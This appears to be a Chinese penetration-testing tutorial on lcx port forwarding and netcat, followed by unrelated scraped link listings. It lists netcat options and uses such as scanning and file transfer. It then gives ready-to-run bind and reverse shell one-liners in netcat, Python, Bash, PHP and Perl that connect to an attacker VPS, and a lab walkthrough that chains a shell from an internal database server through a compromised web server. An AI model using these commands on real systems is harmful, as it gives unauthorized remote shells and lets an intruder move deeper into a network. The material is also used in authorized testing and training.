如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的端口(例如53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。

1.lcx实现本地端口映射

lcx  -tran 53  <目标主机的IP地址>  3389

2.netcat

  之所以叫作netcat,是因为它是网络上的cat。cat的功能是读取一个文件的内容并传输出到屏幕上,netcat也是如此----从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)。

2.1 netcat基本参数说明

-d  后台模式

-e 程序重定向

-g <网关>  设置路由器跃程通信网关,最多可设置8个

-G <指向器数目> 设置来源路由器指向器,其数值为4的倍数

-h 在线帮助

-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口

-l 使用监听模式,管控传入的资料

-n 直接使用IP地址,而不通过域名服务器

-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存

-p <通信端口> 设置本地主机使用的通信端口;

-r 随机指定本地与远端主机的通信端口;

-s <来源位址> 设置本地主机送出数据包的IP地址;

-u 使用UDP传输协议;

-v 详细输出;

-w <超时秒数> 设置等待连线的时间;

-z 将输入输出关掉,只在扫描通信端口时使用

2.2 netcat的功能

.Banner抓取

  服务器的Banner信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况。服务的Banner信息不仅包含正在运行的服务类型,还包含服务的版本信息。Banner抓取是一种在开放的端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估。

nc -nv  127.0.0.1  80

.连接到远程主机

nc  -nvv  192.168.4.134  80

.端口扫描

nc  -v   192.168.4.134  80

nc -v -z  192.168.4.134  20-1024

.端口监听

执行如下命令,监听本地端口。当访问该端口时会输出该信息到命令行

nc -l -p 9999

.文件传输

在本地VPS主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入,

nc -lp 333 > 1.txt

在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为text.txt的文件

nc -vn 192.168.4.134 333 < text.txt  -q  1

.简易聊天

在本地VPS主机中输入如下命令,开始监听

nc -l -p 888

在目标主机中输入如下命令,就可以开始聊天

nc -vn 192.168.4.134  888

.获取shell

正向 shell

目标主机监听: Nc -lvp 4444 -e /bin/sh //linux Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows

本地主机: nc 192.168.1.11 4444

反向 shell

本地主机监听: nc -lvp 9999

目标主机: nc 192.168.11.144 9999 -e /bin/sh //linux

   nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows

目标主机上没有Netcat,获取反向shell

python反向shell

VPS上监听端口: Nc -lvp 2222

目标主机上执行: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash反向shell

VPS上监听端口: Nc -lvp 4444

目标主机上执行: bash -i >& /dev/tcp/192.168.1.4/4444 0>&1

PHP反向shell

VPS上监听端口: Nc -lvp 2222

目标主机上执行: php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向shell

VPS上监听端口: Nc -lvp 4444

目标主机上执行: perl -e ‘ use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprot obyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,” >&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh - i”);};’

3.内网代理

3.1 拓扑图

3.2 测试环境

攻击者VPS(kali  linux):192.168.4.136

一个小型内网;

三台服务器;

假设已经获取了web服务器的权限,通过Kali linux机器不能直接访问数据库服务器(linux),但通过Web 服务器可以访问数据库服务器(linux)。

测试目标为:获取数据库服务器(linux)的shell

3.3 实验步骤

vps上执行如下命令

nc   -lvp 3333

web服务器(跳板机)上执行

nc  -v  192.168.4.136 3333  -c  "nc -v 1.1.1.10  3333"

数据库服务器上执行

nc  -lvp 3333  -e  /bin/sh

vps上获取到了数据库服务器的shell,

传输层 lcx实现本地端口映射&&内网代理的更多相关文章

  1. Tp-link路由器怎么设置端口映射 内网端口映射听语音

    https://jingyan.baidu.com/article/ca00d56c710ef9e99eebcf85.html 只有一台能上网的电脑就可以自己免费搭建服务器,本经验简单介绍家用tp-l ...

  2. python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术

    python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...

  3. 【转】使用miniupnpd-->upnp协议 映射本地端口到外网

    miniupnpc的主要函数介绍 1>.miniupnpc库主要使用的头文件有 #include"miniwget.h" #include"miniupnpc.h& ...

  4. Apache服务器中设置端口映射和反向代理的方法

    在/etc/httpd/conf路径下的httpd.conf文件###new add for webui.cong###Include "E:/local/Wamp/bin/apache/A ...

  5. 本地Linux虚拟机内网穿透,服务器文件下载到本地磁盘

    本地Linux虚拟内网穿透 把服务器文件下载到本地磁盘 https://natapp.cn/ 1.注册账户点击免费隧道  

  6. wstngfw中使用虚拟IP映射内网IP

    wstngfw中使用虚拟IP映射内网IP -------------------------------- Server01: IP: 192.168.195.73/24 GW: 192.168.19 ...

  7. 网络层、传输层、应用层、端口通信协议编程接口 - http,socket,tcp/ip 网络传输与通讯知识总结

    引: http://coach.iteye.com/blog/2024511 什么是TCP和UDP,以及二者区别是什么? TCP的全称为传输控制协议.这种协议可以提供面向连接的.可靠的.点到点的通信. ...

  8. VMware NAT端口映射 外网可以访问内网虚拟机

    我想尝试的是利用本机的ip+port来访问虚拟机上的web服务器,因为这样的话,我就能够将我的web服务器部署成为一个能让外网访问的服务器了,首先说下我的环境: 主机:系统win7,ip地址172.1 ...

  9. WinServer 之 内网发布网站后端口映射外网访问

    内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...

随机推荐

  1. github与gitlab创建新仓库

    github创建新仓库 然后根据下一页的命令提示进行即可 gitlab创建新仓库 git init git remote add origin git@***.***.**.**:user/proje ...

  2. 将待授权的数据库的dbowner指派给该用户

    USE 数据库goEXEC dbo.sp_changedbowner N'账号'

  3. Cesium入门1 - Cesium介绍

    Cesium入门1 - Cesium介绍 Cesium中文网:http://cesiumcn.org/ | 国内快速访问:http://cesium.coinidea.com/ Cesium简介 Ce ...

  4. zabbix表达式

    system.cpu.load[all,avg1].min(10)}>2 load连续10分钟>2 system.cpu.load[percpu,avg1].count(#3,0.6,&q ...

  5. linux文件权限全面解析

    目录 linux文件权限全面解析 一:linux文件的权限有哪些? 1,权限分为3个部分 2,权限位 3,每一个权限拥有一个数字编号 4,在添加权限的时候,可以将权限加起来 5,linux添加权限命令 ...

  6. 洛谷P1060 java题解

    题目描述: 解题思路: 重要度相当于价值的倍率 (物品价格*重要度=价值) 经典的背包问题 直接DP把各种情况下的最优解打表出来取最后一个就行了 代码: import java.util.Scanne ...

  7. Go 记录一次groutine通信与context控制

    需求背景: 项目中需要定期执行任务A来做一些辅助的工作,A的执行需要在超时时间内完成,如果本次执行超时了,那就不对本次的执行结果进行处理(即放弃这次执行).同时A又依赖B,C两个子任务的执行结果.B, ...

  8. BootStrap基础入门概述总结

    是否还值得学习BootStrap 因为自己还是学生,自己在学习之前就先在网上看了看BootStrap是否在现在依旧流行,是否还值得学习. 以下是网友的一些评价: 20年11月 Bootstrap作为入 ...

  9. JVM学习十五 - (复习)类加载的时机、类加载过程、类加载器

    一.类加载的时机 类的生命周期 类从被加载到虚拟机内存开始,到卸载出内存为止,它的整个生命周期包括以下 7 个阶段: 加载 验证 准备 解析 初始化 使用 卸载 验证.准备.解析 3 个阶段统称为连接 ...

  10. java中Statement 对象

    1.创建Statement对象建立了到特定数据库的连接之后,就可用该连接发送 SQL 语句.Statement 对象用 Connection 的方法 createStatement 创建,如下列代码段 ...